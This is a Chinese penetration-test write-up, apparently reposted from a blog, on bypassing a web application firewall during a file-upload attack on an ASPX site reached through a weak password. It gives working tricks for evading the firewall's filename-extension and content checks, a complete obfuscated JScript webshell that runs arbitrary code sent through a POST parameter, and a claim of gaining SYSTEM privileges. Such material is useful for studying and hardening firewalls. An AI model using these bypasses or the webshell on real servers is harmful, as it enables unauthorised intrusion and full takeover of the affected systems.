• 实战绕过某waf后缀检测内容检测


    本次测试为授权测试。

    0x01 背景

    弱口令进入某后台,存在任意文件上传,存在waf

    测试aa后缀成功上传通过查看派单可以看到文件路径

    直接上传aspx被拦截

    0x02 绕过后缀名检测

    先简单尝试大小写被拦截,ashx,asmx,asp,cer都被拦截

    直接上传cshtml,可参考https://www.cnblogs.com/cwkiller/p/12087890.html

    访问跳转404,估计是不解析

    尝试直接绕过waf后缀检测简单测试后发现在双引号后面加个单引号就能绕过

    0x03 绕过内容检测

    直接上冰蝎马,发现检测内容被waf拦截了

    复制图片内容把马夹在中间,依旧绕不过,有的waf可能比较大的包就直接放行了,这个不行我复制了很大的图片内容依然被拦截

    这个站在之前测试注入过程中并没有发现waf,尝试直接将一句话post发送(非上传格式)发现并不会拦截

    猜测waf肯定通过Content-Type: multipart/form-data来判定这是个上传包,然后就检测内容

    而waf是如何解析post包哪个地方是上传的内容呢,是根据

    Content-Type: multipart/form-data; boundary=---------------------------7e43d3910182
    

    Content-Type中boundary的值---------------------------7e43d3910182

    那么思路就来了,我们在---------------------------7e43d3910182后加多个Tab键服务端既正常解析上传内容而waf则可能通过
    ---------------------------7e43d3910182TabTab 去查找上传的内容然而并找不到从而被绕过,讲了这么就那肯定要测一把

    bingo成功绕过内容检测

    0x04 奇怪的404

    上传成功了先访问马看看

    又是这个情况,哪里出问题了呢,直接连接马也连不上,抽根烟记起之前搞得一个jsp站也是上传成功了老是404https://www.cnblogs.com/cwkiller/p/11788009.html

    可能是马要有内容输出才不会404,直接上大马,连接成功system权限

    验证是否是马要有内容输出才不会404,上传打印当前时间的aspx

    <%@Page Language="C#"%>
    <%
    Response.Write(DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
    System.IO.File.Delete(Request.PhysicalPath);
    %>
    

    印证猜测,蚁剑马增加一句输出hello,world语句

    <%@ Page Language="Jscript" Debug=true%>
    <%
    Response.Write("hello,world");
    var hw=Request.Form("mr6");
    var du='iNUZuDe';
    var zu=du.replace("iNUZuD","unsaf");
    function RIEo(BWrg)
    {eval(BWrg,zu);}
    RIEo(hw);
    %>
    

    带上cookie(此目录下的文件需要登录才能访问),连接成功

  • 相关阅读:
    215. Kth Largest Element in an Array
    214. Shortest Palindrome
    213. House Robber II
    212. Word Search II
    210 Course ScheduleII
    209. Minimum Size Subarray Sum
    208. Implement Trie (Prefix Tree)
    207. Course Schedule
    206. Reverse Linked List
    sql 开发经验
  • 原文地址:https://www.cnblogs.com/cwkiller/p/12679528.html
Copyright © 2020-2023  润新知